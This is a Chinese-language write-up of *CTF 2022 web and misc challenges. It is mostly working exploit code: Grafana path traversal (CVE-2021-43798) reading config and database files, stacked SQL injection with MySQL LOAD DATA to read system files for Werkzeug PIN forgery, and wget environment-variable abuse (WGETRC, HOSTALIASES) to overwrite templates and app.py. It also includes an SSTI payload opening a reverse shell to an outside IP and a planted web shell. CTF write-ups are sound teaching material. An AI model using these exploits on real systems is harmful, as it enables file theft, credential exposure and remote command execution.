WEB
oh-my-grafana
搜一下相关漏洞,CVE-2021-43798
尝试读取文件
/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db
/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false
# default admin user, created on startup
admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade
# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
文件里面有默认账号密码
admin@localhost
5f989714e132c9b04d4807dafeb10ade
登陆后利用mysql直接查询
oh-my-notepro
考点:
flask pin计算
mysql load data特性
首先admin/admin 登录
随便测试一下发现开启了debug模式,扫一下目录有/console 路由
需要我们输入pin码即可进入交互式命令执行界面,接下来计算pin,我们需要得到信息:
- 服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
- modname 一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,值一般不变
- flask库下app.py的绝对路径。通过报错信息就会泄露该值。
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡
- 机器的id。对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup
那么通过报错信息我们可以得到路径:
/usr/local/lib/python3.8/site-packages/flask/app.py
之后通过测试发现存在sql注入
python2 sqlmap.py -r 1.txt --sql-shell
收集信息:
利用Mysql load data特性来读取文件
load data local infile '/etc/passwd' into table test fields terminated by '\n';
先创建一张表再将文件读入表内,这里利用堆叠注入来查询
import requests,random
session = requests.Session()
table_name = "".join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))
file = '/sys/class/net/eth0/address'
file = '/etc/machine-id'
file='/proc/self/cgroup'
payload1 = f'''1';create table {table_name}(name varchar(30000));load data local infile "{file}" into table ctf.{table_name} FIELDS TERMINATED BY '\n';#'''
payload2 = f'''1' union select 1,2,3,4,(select GROUP_CONCAT(NAME) from ctf.{table_name})#'''
paramsGet1 = {"note_id":payload1}
paramsGet2 = {"note_id":payload2}
headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"}
cookies = {"session":"eyJjc3JmX3Rva2VuIjoiNjU5MmViODdhMjgwOGE4OTY0ZTRjMmU1Y2RlMWIxNGNiODM4MmNiNSIsInVzZXJuYW1lIjoiYWFhIn0.YlpeQg.VAhhSpogG4OT1bAytxIdRvyCxYk"}
response1 = session.get("http://121.37.153.47:5002/view", params=paramsGet1, headers=headers, cookies=cookies)
response2 = session.get("http://121.37.153.47:5002/view", params=paramsGet2, headers=headers, cookies=cookies)
print(response2.text)
得到信息:
用户: ctf
mac地址:02:42:c0:a8:60:03->2485723357187
机器码:1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15
生成pin码:
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]
private_bits = [
'2485723357187',
'1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
之后报错页面利用console执行命令即可
import os
os.system("/readflag")
坑点
-
报错内容有 result = db.session.execute(sql,params={"multi":True})
可知此处表明存在堆叠注入的可能,猜测是MySQL的堆叠注入读取文件 -
Werkzeug的更新给pin码的计算方式带来了变化https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f ,直接使用网上大多数的pin码计算方式并不能计算出当前环境下正确的pin码,主要有两个变化,一个是修改以前是读取/proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id 这三个文件,读取到一个文件的内容,直接返回,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id 中读到一个值后立即break,然后和/proc/self/cgroup 中的id值拼接,使用拼接的值来计算pin码;二一个变化是h的计算从md5变为了使用sha1,所以计算pin码的POC也要进行相应的调整,此外输入正确的pin码以后大概率会出现404等错误,可以通过清理网站缓存然后开启一个新的无痕会话来解决这个问题。
oh-my-lotto
爆破一下md5:
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start + str_len] == substr:
print(rnds)
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
先审计代码:
docker-compose.yml
version: "3"
services:
lotto:
build:
context: lotto/
dockerfile: Dockerfile
container_name: "lotto"
app:
build:
context: app/
dockerfile: Dockerfile
links:
- lotto
container_name: "app"
ports:
- "8880:8080"
从这里可以知道题目结构,接下来看看路由
/result 路由返回返回/app/lotto_result.txt 文件内容/forecast 路由可以上传一个文件保存到/app/guess/forecast.txt /lotto 路由检查预测的值与环境随机生成的相等就能获得flag
from flask import Flask,render_template, request
import os
app = Flask(__name__, static_url_path='')
def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True
@app.route("/", methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
if request.method == 'GET':
return render_template('lotto.html')
elif request.method == 'POST':
flag = os.getenv('flag')
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''
try:
lotto_key = lotto_key.upper()
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
os.system('wget --content-disposition -N lotto')
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read()
else:
lotto_result = 'result'
if os.path.exists("/app/guess/forecast.txt"):
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'
if forecast == lotto_result:
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)
@app.route("/forecast", methods=['GET', 'POST'])
def forecast():
message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'
file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)
@app.route("/result", methods=['GET'])
def result():
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''
return render_template('result.html', message=lotto_result)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
其中lotto_result.txt 是在内网的lotto页面生成
from flask import Flask, make_response
import secrets
app = Flask(__name__)
@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)
r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)
在进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto') ,同时环境变量会经过safe_check 函数检查。
def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True
一些常见的环境变量利用方法都已经被禁止。
非预期
PATH变量
首先获得一次lotto的结果,然后将这个结果作为forecast上传,利用PATH ,将新的lotto_result.txt 保存到其他路径,这样获取到的lotto就能与forecast相等,即可获得flag。
PATH变量 用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量 变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限。
也就是说,如果我们控制环境变量PATH ,让他找不到wget ,这样wget --content-disposition -N lotto 就会报错导致程序终止,/app/lotto_result.txt 当中的内容就一直是第一次访问,随机生成的那个值。
import requests
url = "http://121.36.217.177:53002/"
def lotto(key, value):
data = {"lotto_key": key,
"lotto_value": value}
txt = requests.post(url + "lotto", data=data).text
print(txt)
def getResult():
txt = requests.get(url + "result").text
p = txt.split("<p>")[-1].split("</p>")[0]
return p
lotto("", "")
result = {"file": getResult()}
requests.post(url + "forecast", files=result)
lotto("PATH", "xxxx")
WGETRC变量
利用WGETRC 设置http_proxy 代理到自己服务器,下载一个和forecast 一样的文件,可以获得flag。
阅读文档:
https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Location
其中有两个重要的参数
output_document = file
Set the output filename—the same as ‘-O file’.
http_proxy = string
Use string as HTTP proxy, instead of the one specified in environment.
通过题目代码我们知道进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto') ,也就是说我们可以通过http_proxy 参数来设置代理,将我们的服务器作为一个中间人再下载一个和forecast 一样的文件即可获得flag。
我们先做个实验:
可以发现代理服务器成功收到请求。
接下来我们的思路就清晰了:
先设置待上传的文件,内容为:
http_proxy = http://ip:39542
之后在服务器运行脚本,返回上传内容
from flask import Flask, make_response
app = Flask(__name__)
@app.route("/")
def index():
lotto = "http_proxy = http://ip:39542"
response = make_response(lotto)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=39542)
接下来上传文件,进入/lotto 界面,设置环境变量
WGETRC
/app/guess/forecast.txt
运行即可得到flag,写个脚本:
import requests
def shell():
url = "http://xxx/"
r = requests.post(url + "forecast",
files={'file': open("C:\Users\cosmo\Desktop\res.txt", "rb")})
data = {
"lotto_key": "WGETRC",
"lotto_value": "/app/guess/forecast.txt"
}
r = requests.post(url + "lotto", data=data)
print(r.text)
if __name__ == '__main__':
shell()
oh-my-lotto-revenge
相比上一题,该题预测成功后也没有flag返回
if forecast == lotto_result:
return "You are right!But where is flag?"
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
那么我们应该考虑如何进行RCE,同样先说一下非预期:
非预期
WGETRC变量
利用WGETRC 配合http_proxy 和output_document ,写入SSTI到templates目录,利用SSTI完成RCE。
我们知道WGETRC 可以设置这两个参数
output_document = file
Set the output filename—the same as ‘-O file’.
http_proxy = string
Use string as HTTP proxy, instead of the one specified in environment.
output_document 指定文件保存路径,那么我们可以通过覆盖index.html打SSTI即可。
控制上传文件:
http_proxy=http://ip:39542
output_document = templates/index.html
再控制返回内容,同样在服务器运行脚本返回如下payload即可:
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/1.117.171.248/39543 0>&1').read()}}
最后脚本:
import requests
def web():
url = "http://1.117.171.248:8880/"
r = requests.post(url + "forecast",
files={'file': open("C:\\Users\\cosmo\\Desktop\\res.txt", "rb")})
data = {
"lotto_key": "WGETRC",
"lotto_value": "/app/guess/forecast.txt"
}
r = requests.post(url + "lotto", data=data)
print(r.text)
r = requests.get(url)
if __name__ == '__main__':
web()
其他解法
-
利用WGETRC 配合http_proxy 和output_document ,覆盖本地的wget应用,然后利用wget完成RCE。 -
wget命令可以通过use_askpass参数执行可执行文件。但是use_askpass需要对应文件有可执行权限,直接通过设置output_document指定文件保存路径来覆盖bin目录下的文件,这样让代理服务器返回一个恶意文件,在保存到本地是也会继承bin目录下的可执行权限,最后通过指定use_askpass为覆盖的文件就可以rce。 -
上传gconv-modules并利用GCONV_PATH
预期解
最后来康康出题人的预期解
通过翻阅Linux环境变量文档http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html 在Network Settings中发现有HOSTALIASES 可以设置shell的hosts加载文件
HOSTALIASES Filename for the host aliases file
利用/forecast 路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto 发向lotto的请求转发到自己的域名例如如下hosts文件:
# hosts
lotto mydomain.com
同时注意到wget请求添加了--content-disposition -N 参数,说明请求的保存文件名将由服务方提供方指定的文件名决定,并可以覆盖原有的文件,那我们在自己的mydomain.com 域名的80端口提供一个文件下载的功能,将返回文件名设置为app.py 就可以覆盖当前题目的app.py 文件:
from flask import Flask, request, make_response
import mimetypes
app = Flask(__name__)
@app.route("/")
def index():
r = '''
from flask import Flask,request
import os
app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
'''
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=39542)
此时发现已经覆盖了题目的app.py ,但并不能直接RCE,因为题目使用gunicorn部署,app.py 在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker 的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下:
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000
最终worker重新加载app.py ,就可以完成RCE了,读取flag即可。参考完整POC如下
import requests
import os
import time
import subprocess
s = requests.session()
base_url = 'http://124.223.208.221:53000/'
url_upload = base_url + 'forecast'
proxies = {
'http': 'http://127.0.0.1:8080'
}
r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))})
print(r.text)
url_env = base_url + 'lotto'
data = {
'lotto_key': 'HOSTALIASES',
'lotto_value': '/app/guess/forecast.txt'
}
r = s.post(url=url_env, data=data)
subprocess.Popen('./exploit.sh', shell=True)
for i in range(1, 53):
print(i)
time.sleep(1)
while True:
url_shell = base_url + 'test?a=env'
print(url_shell)
r = s.get(url_shell)
print(r.text)
if '*ctf' in r.text:
print(r.text)
break
当然这种方法和WGETRC变量的利用差异不大,综合来说方法很多,学到不少。
参考:
https://github.com/sixstars/starctf2022
https://y4tacker.github.io/2022/04/18/year/2022/4/2022-CTF-Web/#oh-my-notepro
https://blog.csdn.net/rfrder/article/details/110240245
https://paper.seebug.org/1112/
个人赛WP
oh-my-grafana
同上
babyweb
绕127.0.0.1,本地回环
http://[::]:8089/flag
grey
直接拖进stegsolve,调一下出现一半的flag
可能是图片不全,尝试一下爆破宽度高度
之后修改为正确的宽高即可
不对劲,可能少了一节,在最后
*CTF{Catch_m3_1F_y0u_cAn}
参考:
https://github.com/b3f0re-team/Write-up/blob/main/%E6%98%9FCTF/%E6%98%9FCTF%20of%20b3f0re%20%20%20.md
|